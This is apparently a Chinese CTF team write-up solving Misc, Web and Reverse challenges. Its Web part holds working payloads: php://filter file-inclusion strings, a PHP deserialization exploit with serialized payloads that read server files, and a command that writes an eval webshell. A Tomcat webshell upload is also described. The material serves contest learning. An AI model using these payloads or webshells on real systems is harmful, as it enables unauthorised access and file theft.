Second CertStone

ZZUCTF实验室联合招新赛 certStone队伍Writeup

2024-08-23 · 8 min read

好几个月前的比赛了,今天忽然发现忘了传wp,就翻出来发到博客上罢

Misc

1. http

过滤条件:frame contains "flag{"
Snipaste_2024-03-18_13-29-30

法二:010Editor 也能搜出来

Snipaste_2024-03-16_14-07-13

2. sql流量分析

Snipaste_2024-03-18_13-33-29

观察发现攻击者正在对flag进行逐字爆破(通过ascii码);将每一位的爆破结果(最后的请求或最大的ascii码)记录下来

通过一个简单的脚本还原出flag:

s = "102 108 97 103 123 99 50 98 98 102 57 99 101 99 100 97 102 54 53 54 99 102 53 50 52 100 48 49 52 99 53 98 102 48 52 54 99 125"

for i in s.split(" "):
    print(chr(int(i)), end="")

# flag{c2bbf9cecdaf656cf524d014c5bf046c}

3. 会用百度吗(OSINT)

百度识图得知图片地点在宁波鼓楼,附近搜索眼镜,挨个找;该眼镜店恰好对上了 hint 消费1009

Snipaste_2024-03-18_13-41-03
  • flag: flag{zhongshandonglu-20}

4. 你想成为base王吗

base64直接出

  • flag{niu-niu-niu-base-king}

5. sign

一把梭

Snipaste_2024-03-18_13-48-10dabai_3477

6. 入门取证

解压后火绒直接报毒,找到文件

Snipaste_2024-03-18_13-51-21

一句话木马

  • flag: flag{nihaoya}

7. ez_pentest_1 (渗透)

Snipaste_2024-03-18_13-56-35

搜索引擎找到相关文章:

【Tomcat-8.5.19】文件写入漏洞

一文了解Tomcat/8.5.19文件上传漏洞复现

Snipaste_2024-03-18_22-56-04

成功上传冰蝎马:

Snipaste_2024-03-16_09-54-16

Web

1. real_gift

GET传递gift参数获得题目源码

<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);

$gift=$_GET['gift'];
if(isset($gift)){
    show_source(__FILE__);
    echo "Maybe what you want is in flag.php"."</br>";
}else{
    echo "What gift do you want?</br></br>请用GET方式给我传递一个gift参数";
}
include_once($gift);
?>

文件包含+伪协议

payload: ?gift=php://filter/read=convert.base64-encode/resource=flag.php

2. gift

相比上题,过滤了base,参考 niyani 攻防世界-file_include(绕过base64)

可以使用其他的过滤器convert.iconv.* 绕过 php://filter的各种过滤器

payload: ?gift=php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php

Snipaste_2024-03-16_11-31-35

3. ez_unser

Snipaste_2024-03-18_14-13-17

查网页html找到提示,进入 cll4ss.php 获得题目源码

<?php
error_reporting(0);
#Flag is in fl……No, I changed my mind.
#If you want it, then you'll have to find it.

class start{
    private $ticket;
    function __construct() {
        $this->ticket = "Welcome to CTFLAB";
    }
    public function __wakeup(){
        if ($this->ticket == "Welcome to CTFLAB") {
            echo "are you ready?<br>";
        }
    }
    function __destruct() {
        if ($this->ticket == "Welcome to CTFLAB") {
            echo "GO!!!";
        }else{
            $this->ticket->func();
        }
    }
}

class class0 {
    public $key;
    public $value;
    function __toString() {
        echo new $this->key($this->value);
    }
}
class class1 {
    private $data;
    public function func(){
        echo $this->data."</br>";
    }
}
 
$a = new start();

$ser=$_POST['zzuctf2024'];
if (isset($ser)) {
        unserialize($ser); 
} else { 
    highlight_file("cll4ss.php"); 
} 
?>

pop链的构造 以及 原生类的利用(参考:php原生类在反序列化中的利用 以及 php原生类及其利用

可遍历目录类分为下面三个:

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

可读取文件类:

  • SplFileObject 类

exp:

<?php
class start{
    private $ticket;
    public function __construct(){
        $this->ticket = new class1();
    }
}
class class0 {
    public $key = 'DirectoryIterator';
    public $value = 'glob://f*';  // 使用glob通配符查找flag所在文件
    // public $key = 'SplFileObject';
    // public $value = 'fla44aag.txt';
}
class class1 {
    private $data;
    public function __construct(){
        $this->data = new class0();
    }
}
 
$a = new start();
echo urlencode(serialize($a));
?>

payload:

  1. O%3A5%3A%22start%22%3A1%3A%7Bs%3A13%3A%22%00start%00ticket%22%3BO%3A6%3A%22class1%22%3A1%3A%7Bs%3A12%3A%22%00class1%00data%22%3BO%3A6%3A%22class0%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A17%3A%22DirectoryIterator%22%3Bs%3A5%3A%22value%22%3Bs%3A9%3A%22glob%3A%2F%2Ff%2A%22%3B%7D%7D%7D

  2. O%3A5%3A%22start%22%3A1%3A%7Bs%3A13%3A%22%00start%00ticket%22%3BO%3A6%3A%22class1%22%3A1%3A%7Bs%3A12%3A%22%00class1%00data%22%3BO%3A6%3A%22class0%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A5%3A%22value%22%3Bs%3A12%3A%22fla44aag.txt%22%3B%7D%7D%7D

4. how_rce

<?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);

由于系统读取的命令都没了,能进行的操作及其受限

尝试写入一句话木马:?xbx=echo '<?php @eval($_POST["cmd"]) ?>'>webshell.php

蚁剑成功连接,发现还是几乎什么命令都不能用,文件也无法读取

考虑到提示 可以利用php自带命令或者sh报错提取flag ,成功通过报错提取出flag

Snipaste_2024-03-16_13-04-14

Reverse

1. assembly_language

这段汇编代码是一个简单的字符串加密函数。这个函数的关键部分是一个循环,它通过xor指令对字符串中的每个字符与0x42进行异或操作。要解密给出的加密结果,可以通过对加密后的每个字节再次执行异或0x42操作来实现。因为异或操作是可逆的,即(A XOR B) XOR B = A

data = [0x24, 0x2e, 0x23, 0x25, 0x39, 0x35, 0x27, 0x2e, 0x21, 0x72, 0x2f, 0x27, 0x1d, 0x36, 0x72, 0x1d, 0x30, 0x27, 0x1d, 0x35, 0x2d, 0x30, 0x73, 0x26, 0x63, 0x3f, 0x42]

result = ''.join(chr(x ^ 0x42) for x in data)

print(result) # flag{welc0me_t0_re_wor1d!}

2. 你真的很懂贝斯

提示拿个string直接梭

strings re2.exe > re2.txt
Snipaste_2024-03-17_13-13-57

找到可疑字符串,base58 解码得flag

3. how_nop

参考:IDA如何patch掉花指令?

Snipaste_2024-03-18_15-35-44

Patch掉花指令后F5,分析伪C代码就可以了

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  puts("Here is a pack of flowers, to my best love --- you.");
  puts("But I must check your identity, please input the right passwd");
  __isoc99_scanf("%s", input_str);
  v4 = strlen(input_str);
  if ( strlen(input_str) != 25 )
  {
    puts("Please check your input's format!");
    exit(-1);
  }
  encrypt(input_str, v4);
  compare(input_str, &unk_4020, v4);
  printf("If you are succeed, the flag is flag{md5(your input)}");
  return 0LL;
}

加密函数如下:

unsigned __int64 __fastcall encrypt(__int64 a1, unsigned int a2)
{
  int i; // [rsp+18h] [rbp-118h]
  unsigned int j; // [rsp+1Ch] [rbp-114h]
  __int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+128h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(v5, 0, 256);
  for ( i = 0; i <= 255; ++i )
    *((_BYTE *)v5 + i) = ~(i ^ a2);
  for ( j = 0; a2 > j; ++j )
    *(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
  return v6 - __readfsqword(0x28u);
}

解密脚本:

# 加密字符串的字节值,即传入compare函数的&unk_4020对应的数据
encrypted_bytes = [
    0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 
    0x93, 0x89, 0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 
    0xC5, 0x84, 0xD6, 0xD1, 0xD2, 0x82, 0xD3, 0xDE, 0x87
]

def decrypt(encrypted_bytes):
    decrypted_chars = []
    for byte in encrypted_bytes:
        # 对每个字节先取反(即与0xFF异或),然后与25异或
        decrypted_byte = (byte ^ 0xFF) ^ 0x19
        # 将得到的字节转换为字符并添加到列表中
        decrypted_chars.append(chr(decrypted_byte))
    # 将解密后的字符列表合并为字符串
    return ''.join(decrypted_chars)

decrypted_string = decrypt(encrypted_bytes)

print(f"Decrypted String: {decrypted_string}") 
# Decrypted String: 66ccff#luotianyi#b074d58a

再取其MD5值即为flag

Snipaste_2024-03-17_13-38-02
  • flag: flag{d780c9b2d2aa9d40010a753bc15770de}